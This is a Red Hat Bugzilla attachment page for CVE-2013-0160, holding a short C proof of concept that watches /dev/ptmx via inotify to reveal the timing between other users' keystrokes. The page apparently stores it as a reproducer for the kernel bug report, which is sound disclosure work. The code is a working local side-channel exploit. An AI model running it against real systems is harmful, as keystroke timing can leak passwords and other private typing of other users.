Login
[x]
Log in using an account from:
Fedora Account System
Red Hat Associate
Red Hat Customer
Or login using a Red Hat Bugzilla account
Forgot Password
Login:
Hide Forgot
Create an Account
Red Hat Bugzilla – Attachment 674721 Details for
Bug 892983
CVE-2013-0160 kernel: /dev/ptmx to measure inter-keystroke timing
[?]
New
Simple Search
Advanced Search
My Links
Browse
Requests
Reports
Current State
Search
Tabular reports
Graphical reports
Duplicates
Other Reports
User Changes
Plotly Reports
Bug Status
Bug Severity
Non-Defaults
|
Product Dashboard
Help
Page Help!
Bug Writing Guidelines
What's new
Browser Support Policy
5.0.4.rh83 Release notes
FAQ
Guides index
User guide
Web Services
Contact
Legal
This site requires JavaScript to be enabled to function correctly, please enable it.
Local copy of the reproducer to determine keystroke latency
ptmx-keystroke-latency.c (text/plain), 1.66 KB, created by
Jan Lieskovsky
on 2013-01-08 11:13:02 UTC
(
hide
)
Description:
Local copy of the reproducer to determine keystroke latency
Filename:
MIME Type:
Creator:
Jan Lieskovsky
Created:
2013-01-08 11:13:02 UTC
Size:
1.66 KB
patch
obsolete
>/* This PoC discloses latency between keystrokes thanks to /dev/ptmx. > > Compile: cc ptmx-keystroke-latency.c -o ptmx-keystroke-latency > Usage: ./ptmx-keystroke-latency > > Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64). > > For more information: http://vladz.devzero.fr/013_ptmx-timing.php > ----------------------------------------------------------------------- > "THE BEER-WARE LICENSE" (Revision 42): > <vladz@devzero.fr> wrote this file. As long as you retain this notice > you can do whatever you want with this stuff. If we meet some day, and > you think this stuff is worth it, you can buy me a beer in return. -V. >*/ > >#include <sys/inotify.h> >#include <unistd.h> >#include <stdio.h> >#include <time.h> >#include <sys/time.h> >#include <stdlib.h> > > >void show_time_info(struct timeval *x, struct timeval *y) { > > struct tm *st_tm; > char *time_str; > long delta; > > st_tm = localtime(&y->tv_sec); > > time_str = malloc(9); > sprintf(time_str, "%s%d:%s%d:%s%d", > st_tm->tm_hour < 10 ? "0" : "", st_tm->tm_hour, > st_tm->tm_min < 10 ? "0" : "", st_tm->tm_min, > st_tm->tm_sec < 10 ? "0" : "", st_tm->tm_sec); > > delta = (y->tv_sec - x->tv_sec ) * 1000; > delta += (y->tv_usec - x->tv_usec) / 1000; > > printf("%s (+%ld ms)\n", time_str, delta); >} > >int main() { > > int fd; > struct timeval start, finish; > char buf[1024]; > > printf("[+] PoC to disclose latency between keystrokes\n"); > printf("[+] Wait for someone to type in a PTY\n"); > > fd = inotify_init(); > inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY); > > for(;;) { > > gettimeofday(&start, NULL); > read(fd, buf, 1024); > gettimeofday(&finish, NULL); > > show_time_info(&start, &finish); > } > > return 0; >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 892983
: 674721 |
674722